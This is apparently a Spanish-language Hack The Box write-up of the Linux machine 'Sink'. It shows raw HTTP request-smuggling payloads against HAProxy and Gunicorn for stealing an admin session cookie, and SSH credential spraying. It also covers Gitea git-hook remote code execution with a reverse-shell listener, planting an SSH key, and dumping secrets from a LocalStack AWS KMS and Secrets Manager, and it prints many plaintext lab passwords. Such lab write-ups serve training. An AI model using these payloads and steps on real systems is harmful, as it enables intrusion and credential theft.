Skip to content

Sink ⭐

#htb #linux #aws #iam #ssti #privesc #writeup

bash
sudo nmap 10.129.32.51 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
bash
sudo nmap 10.129.32.51 -p22,3000,5000 -sCV -oN targeted

Nos registramos en http://10.129.32.51:5000 Al intentar FUZZING recibimos un bloqueo.

Probamos algún payload de SSTI de python y Go ${{<%[%'"}}%\. { . } en las funcionales de comentar y de añadir nota

Las notas 2,3 y 4 tiran un 302, tampoco podemos hacer muchas más peticiones porque nos comemos un bloqueo

No parece haber nada interesante.

Volviendo al gitea http://10.129.32.51:3000

Podemos enumerar usuarios y organizaciones, pero no hay repos.

Haciendo más pruebas sobre http://10.129.32.51:5000 encontramos que Gunicorn 20.0.0 es vulnerable a HTTP Request Smuggling

HTTP Request Smuggling in gunicorn | CVE-2024-6827 | Snyk

Nos dan la siguiente POC que confirma que es una TE:CL es decir , el frontend tomará el Transfer-Encoding: chunked y el backend tomará el Content-Length: 6

HTTP
POST / HTTP/1.1
Host: 172.24.10.169
Content-Length: 4
Transfer-Encoding: chunked,gzip
\r\n
70\r\n
GET /admin?callback1=https://webhook.site/717269ae-8b97-4866-9a24-17ccef265a30 HTTP/1.1\r\n
Host: 172.24.10.169\r\n
\r\n
0\r\n
  • El frontend tomará el Transfer-Encoding: chunked que tiene como longitud 0x70
  • El backend tomará Content-Length: 4 y el resto será una nueva petición smuggleada

Algo así podría funcionar al enviar la petición varias veces, pero parece ser que no recibimos ninguna respuesta distinta (con la nota que queremos ver)

Buscando un poco más encontramos un post de un blog

huntr - The world’s first bug bounty platform for AI/ML

Donde ponen la siguiente POC

  • El frontend tomará el Transfer-Encoding: xchunked , cabecera la cuál no entiende y en vez de retornar un 501 tomará el Content-Length: 90 y lo pasará al backend

  • El backend tomará toda la petición y tendrá preferencia con elTransfer-Encoding: chunked así que entenderá el cuerpo como

HTTP
\r\n
1\r\n
a\r\n
0\r\n
\r\n

Y el resto la entenderá como una nueva petición que procesará directamente el backend, bypasseando los filtros del frontend

Lamentablemente no conseguimos que funcione y recibimos un 400 debido a la cabecera inválida

HTTP
HTTP/1.0 400 Bad request
Server: haproxy 1.9.10
Cache-Control: no-cache
Connection: close
Content-Type: text/html

<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>

El error de arriba nos chiva que se está usando HAproxy como frontend lo cuál nos lleva a este artículo:

Gunicorn 20.0.4 Request Smuggling - grenfeldt.dev

  • haproxy (frontend) usará el Content-Length: 68

y enviará las dos peticiones al backend

HTTP
GET / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 68\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxxGET /admin HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 35\r\n
\r\n
HTTP
GET / HTTP/1.1\r\n
Host: localhost\r\n
\r\n
  • Gunicorn (backend) verá el Sec-Websocket-Key1 que indica que es un protocolo de websockets antiguo que lee los primeros 8 bytes del cuerpo. Por lo que verá 3 peticiones distintas
HTTP
GET / HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 68\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxx
HTTP
GET /admin HTTP/1.1
Host: localhost
Content-Length: 35\r\n
\r\n
HTTP
GET / HTTP/1.1\r\n
Host: localhost\r\n
\r\n

Nuevamente , nuestra prueba de concepto no funciona

En esta ocasión buscamos HaProxy 1.9.10 y encontramos el siguiente artículo

HAProxy HTTP request smuggling (CVE-2019-18277) - Nathan Davison

Aquí el enfoque que utilizan es el el básico CL:TE solo que para que el frontend HAproxy no tenga preferencia por el Transfer-Encoding: chunked lo ponemos ofuscado, así recurrirá al Content-Length.

El backend si tendrá preferencia Transfer-Encoding pero al contrario que el frontend si que lo entenderá, como se explica en el artículo.

HTTP
POST / HTTP/1.1\r\n
Host: 10.129.64.238:5000\r\n
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0\r\n
Content-Length: 6\r\n
Transfer-Encoding: [\x0b]chunked\r\n
\r\n
0\r\n
\r\n
X

Para poner el tab vertical [\x0b] :

Enviamos la petición varias veces y recibimos un 405

Porque en algún momento la X ha quedado flotando y se ha pegado a otra petición XGET o XPOST por ejemplo, esto demuestra la vulnerabilidad.

HTTP
POST / HTTP/1.1\r\n
Host: 10.129.64.238:5000\r\n
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0\r\n
Content-Length: 38\r\n
Transfer-Encoding: [\x0b]chunked\r\n
\r\n
0\r\n
\r\n
GET /notes/1 HTTP/1.1\r\n
X-Foo: bar

La cabecera del final puede se cualquiera X-Foo: bar para concatenarse así a la primera línea de la siguiente petición

http
GET /notes/1 HTTP/1.1\r\n
X-Foo: barPOST /HTTP/1.1
...

Lo conseguimos , pero nos sigue tirando un 302 a pesar de hacer la petición de la nota 1 desde el backend

Con este enfoque podemos publicar la petición smuggleada en un comentario, lo cuál puede likear la cookie del admin si este está haciendo operaciones actualmente:

HTTP
POST / HTTP/1.1
Host: 10.129.64.238:5000
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0
Content-Length: 192
Transfer-Encoding: chunked

0\r\n
\r\n
POST /comment HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 50\r\n
Cookie: session=eyJlbWFpbCI6Im0wYkBzaW5rLmh0YiJ9.aV1jFg.dWIeNbZK8-HKTenzuClosKxLRZ0\r\n
\r\n
msg=foo

Cambiamos nuestra cookie por la suya y somos admin

En las notas 1,2 y 3 encontramos

Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz

Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3

Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
bash
echo '10.129.64.238  sink.htb chef.sink.htb code.sink.htb nagios.sink.htb' >> /etc/hosts

De todas formas no llegamos a esos dominios.

Probamos las creds contras ssh por si acaso, pero nos bloquea

Creamos una lista de usuarios con los del gitea y los nuevos.

bash
nxc ssh 10.129.64.238 -u users.txt -p passwords.txt --continue-on-success

Para el gitea la combinaciones válida es

root \ FaH@3L>Z3})zzfQ3
bash
git clone http://10.129.66.18:3000/root/Log_Management.git
bash
git clone http://10.129.66.18:3000/root/Serverless-Plugin.git
bash
git clone http://10.129.66.18:3000/root/Key_Management.git
  • Vamos a empezar a revisar Log_Management

Si miramos el historial de cambios de create_log.php

bash
git log -p create_logs.php
ACCESS KEY ID : AKIAIUEN3QWCPSTEITJQ
SECRET KEY : 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
REGION : eu
ENDPOINT : 127.0.0.1:4566
  • Key_Management

Vemos una política que nos puede ser útil

yml
'KeyId' => $keyId,
        'PolicyName' => $policyName,
        'Policy' => '{ 
            "Version": "2012-10-17", 
            "Id": "custom-policy-2016-12-07", 
            "Statement": [ 
                { "Sid": "Enable IAM User Permissions", 
                "Effect": "Allow", 
                "Principal": 
                   { "AWS": "arn:aws:iam::100123623493:user/root" }, 
                "Action": [ "kms:*" ], 
                "Resource": "*" }, 
                { "Sid": "Enable IAM User Permissions", 
                "Effect": "Allow", 
                "Principal":                 
                   { "AWS": "arn:aws:iam::100102123833:user/david" }, 
                "Action": [
                    "kms:Decrypt*",
                    "kms:DescribeKey*"
                ], 
                "Resource": "*" }                 
            ]
  • Serverless-Plugin

Es una extensión de código para la herramienta de línea de comandos serverless (la más famosa para desplegar AWS Lambda, Azure Functions, etc.).

  • Kinesis_ElasticSearch

En el mundo Serverless, las funciones Lambda generan logs en CloudWatch Logs. Una configuración muy común es usar un plugin para:

  1. Suscribir los Logs de CloudWatch a Kinesis.
  2. Que Kinesis los mande a Elasticsearch.

Esto se hace porque la consola nativa de logs de AWS (CloudWatch) es lenta y mala para buscar, mientras que Elasticsearch/Kibana es instantáneo y potente.


Después de esto vemos que la versión de Gitea es la 1.12.6

Hay una vuln , en concreto la CVE-2020-14144 que nos permite hacer RCE con git hooks

Como somos el usuario root podemos crear los hooks que queramos

bash
wget https://www.exploit-db.com/download/49571
bash
python3 49571 -v -t http://10.129.66.18:3000/ -u root -p 'FaH@3L>Z3})zzfQ3' -I 10.10.17.48 -P '4444'

Como el script fallaba lo hicimos normal, creamos un repo y le añadimos un hook

bash
mkdir exploit

git init

git config --global --add safe.directory /path/exploit

git config user.email "root@sink.htb"
git config user.name "root"

touch README.md
git add README.md
git commit -m "exploit"

git remote add origin http://10.129.67.88:3000/root/exploit.git

git push -u origin master
bash
nc -lvnp 4444

Normalizamos la shell

Vemos que hay varios puertos abiertos

bash
netstat -tuln | grep 127.0.0.1
bash
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5/eB3fkcjMlHXGhabTx/rcxvxdc3k2CeIxjj3Nxyb43L3cmwWyix9nRFe0nsbFozZKdvRaZx5oHJpyJydGuC/FlXSrsUOTtC5PwRYiOxBjAci6ZzCUZv1m7Vyk6btTTYClX0gZyaIjePjrqv1yJ8LvT6yAmePZr1jP5rH+H6Gfw7cZ/HPbuixgY5l7yDz/EivpkkP1G9BjR5+gh/+8PN2R7afaVYZNJo3iI1kjuNRILd9FKowRgbvf4BFJttWgK//IQOu7b/4FR0f9vXcsoSGzYe4TCriogTkUJGUPpA1eljifolPNelI+ghSsp5/GLnlNKYumJ0EZ0lZHPjzd+nkbHj40M1gKz7lSQjvohyTav4DoPAla1e1m2KMJPIcamNo7s5EbGZBnet44hqt8sdOG1XB5TfW3rVMevDVN8WRYRE4EKyZRD+x7Fq+Z4lJW+9dg4mOTM2UujrU38faNvLVyub/OteTcx/cfvUhYdlD771zEWM1wLCMiGoDBu3SpHs= kali@kali' > /home/git/.ssh/authorized_keys

De momento vamos a forwardearnos el puerto del emulador de AWS (localstack)

bash
ssh git@10.129.67.88 -L 4566:127.0.0.1:4566
bash
export AWS_ACCESS_KEY_ID="AKIAIUEN3QWCPSTEITJQ"

export AWS_SECRET_ACCESS_KEY="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"

export AWS_DEFAULT_REGION="eu-east-1"

Como antes nos había parecido ver un repositorio de KMS , listamos las claves, con este comando listamos los identificadores de las claves

bash
aws kms list-keys --endpoint-url http://127.0.0.1:4566
json
{
    "Keys": [
        {
            "KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac"
        },
        {
            "KeyId": "16754494-4333-4f77-ad4c-d0b73d799939",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/16754494-4333-4f77-ad4c-d0b73d799939"
        },
        {
            "KeyId": "2378914f-ea22-47af-8b0c-8252ef09cd5f",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2378914f-ea22-47af-8b0c-8252ef09cd5f"
        },
        {
            "KeyId": "2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2bf9c582-eed7-482f-bfb6-2e4e7eb88b78"
        },
        {
            "KeyId": "53bb45ef-bf96-47b2-a423-74d9b89a297a",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/53bb45ef-bf96-47b2-a423-74d9b89a297a"
        },
        {
            "KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0"
        },
        {
            "KeyId": "837a2f6e-e64c-45bc-a7aa-efa56a550401",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/837a2f6e-e64c-45bc-a7aa-efa56a550401"
        },
        {
            "KeyId": "881df7e3-fb6f-4c7b-9195-7f210e79e525",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/881df7e3-fb6f-4c7b-9195-7f210e79e525"
        },
        {
            "KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/c5217c17-5675-42f7-a6ec-b5aa9b9dbbde"
        },
        {
            "KeyId": "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
        },
        {
            "KeyId": "f2358fef-e813-4c59-87c8-70e50f6d4f70",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f2358fef-e813-4c59-87c8-70e50f6d4f70"
        }
    ]
}

Según la política que hemos sacado antes , seguramente seamos david

json
{
  "Sid": "Enable IAM User Permissions",
  "Effect": "Allow",
  "Principal": {
    "AWS": "arn:aws:iam::100102123833:user/david"
  },
  "Action": [
    "kms:Decrypt*",
    "kms:DescribeKey*"
  ],
  "Resource": "*"
}

Pero nos permite listar alias, aunque no haya, se trata de un permiso que david no tiene, asi que es posible que las credenciales sean de root

bash
aws kms list-aliases --endpoint-url http://127.0.0.1:4566

Tenemos permisos para describir keys

bash
aws kms describe-key --key-id 0b539917-5eff-45b2-9fa1-e13f0d2c42ac --endpoint-url http://127.0.0.1:4566

También tenemos kms:Decrypt pero no tenemos nada que necesitemos descifrar ahora mismo usando alguna de esas claves.

Hay una clave en concreto que nos tira ENABLED

bash
aws kms describe-key --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --endpoint-url http://127.0.0.1:4566

Haciendo un poco más de enumeración encontramos que hay secretos en el Secret Manager , lo cuál está íntimamente relacionado con las KMS

bash
aws secretsmanager list-secrets --endpoint-url http://127.0.0.1:4566
json
{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-WEcsa",
            "Name": "Jenkins Login",
            "Description": "Master Server to manage release cycle 1",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "37aad712-cf04-4b69-9ecb-c53ea8da0182": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-hgclP",
            "Name": "Sink Panel",
            "Description": "A panel to manage the resources in the devnode",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "ca9b94ff-58a7-41ac-bb5f-a4ac58d811d7": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-dDeXh",
            "Name": "Jira Support",
            "Description": "Manage customer issues",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "e3983841-1cb5-4d64-8851-9407b607f7a5": [
                    "AWSCURRENT"
                ]
            }
        }
    ]
}

Como tenemos kms:Decrypt* seguramente podamos leer estos secretos

bash
aws secretsmanager get-secret-value --secret-id 'Jira Support' --endpoint-url http://127.0.0.1:4566
json
{
	"username":"david@sink.htb",
	"password":"EALB=bcC=`a7f2#k"
}
bash
aws secretsmanager get-secret-value --secret-id 'Sink Panel'  --endpoint-url http://127.0.0.1:4566
json
{
	"username":"albert@sink.htb",
	"password":"Welcome123!"
}
bash
aws secretsmanager get-secret-value --secret-id 'Jenkins Login'  --endpoint-url http://127.0.0.1:4566
json
{
	"username":"john@sink.htb",
	"password":"R);\\)ShS99mZ~8j"
}

Nos logueamos como david usando su contraseña

david \ EALB=bcC=`a7f2#k

En /home/david/Projects/Prod_Deployment encontramos un archivo llamado servers.enc que tiene toda la pinta de estar encriptado

bash
jq -r '.Keys[].KeyId' keys.json

Iteramos sobre las claves de las que disponemos para ver si podemos desencriptar el archivo

bash
while IFS= read -r key; do 

aws kms decrypt --ciphertext-blob fileb://servers.enc --key-id $key --output text --query Plaintext --endpoint-url http://127.0.0.1:4566  

; done < keys.txt

Probamos a habilitarlas todas y lo volvemos a intentar, pero no tenemos éxito

bash
while IFS= read -r key; do 

aws kms enable-key --key-id $key --endpoint-url http://127.0.0.1:4566  

; done < keys.txt

Si volvemos a los repos y buscamos diferencias entre commits más exhaustivamente , por ejemplo en Key_Management

bash
git diff --name-only f20e6f6 b01a6b7 | cat

Encontramos .keys/dev_keys donde se likea la id_rsa de marcus

bash
git diff  f20e6f6 b01a6b7 | cat
bash
ssh marcus@10.129.68.118 -i marcus.pem

Y por lo menos ahí tenemos la flag de user

En el repo de Log_Management se habla CloudWatch en concreto de logs:

Listamos los grupos de logs

bash
aws logs describe-log-groups --endpoint-url http://127.0.0.1:4566 --query 'logGroups[*].logGroupName' --output text | cat

Listamos los streams (archivos de logs)

bash
aws logs describe-log-streams --log-group-name "cloudtrail" --endpoint-url http://127.0.0.1:4566 --query 'logStreams[*].logStreamName' --output text | cat

Listamos los logs

bash
aws logs get-log-events --log-group-name "cloudtrail" --log-stream-name "20201222" --output text --endpoint-url http://127.0.0.1:4566 | cat

Encontramos que se trata de logs de secretmanager, cosa que ya hemos dumpeado

Volvemos a la parte donde estabamos con el binario servers.enc

La única clave que había activa desde el principio y que servía para encriptar y desencriptar era esta:

bash
aws kms describe-key --key-id 0b539917-5eff-45b2-9fa1-e13f0d2c42ac --endpoint-url http://127.0.0.1:4566 | cat
json
{
    "KeyMetadata": {
        "AWSAccountId": "000000000000",
        "KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
        "Arn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
        "CreationDate": "2021-01-04T05:57:28-05:00",
        "Enabled": true,
        "Description": "Encryption and Decryption",
        "KeyUsage": "ENCRYPT_DECRYPT",
        "KeyState": "Enabled",
        "Origin": "AWS_KMS",
        "KeyManager": "CUSTOMER",
        "CustomerMasterKeySpec": "RSA_4096",
        "EncryptionAlgorithms": [
            "RSAES_OAEP_SHA_1",
            "RSAES_OAEP_SHA_256"
        ]
    }
}

A veces en necesario pasarle el algoritmo de desencriptación

bash
aws  kms decrypt --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --ciphertext-blob fileb://servers.enc --encryption-algorithm RSAES_OAEP_SHA_256 --output text --endpoint-url http://127.0.0.1:4566 | /usr/bin/cat

Convertimos el output en base64 a un archivo y vemos que el tipo de archivo es un `.gz

bash
echo 'H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=' | base64 -d > servers

Descomprimimos y el archivo resultante es un .tar el cual descomprimimos también

Nos quedan servers.yml y servers.sig

yml
server:
  listenaddr: ""
  port: 80
  hosts:
    - certs.sink.htb
    - vault.sink.htb
defaultuser:
  name: admin
  pass: _uezduQ!EY5AHfe2

Y nos podemos loguear por ssh a root.

Pasted image 20260110205840

Notas personales de seguridad ofensiva.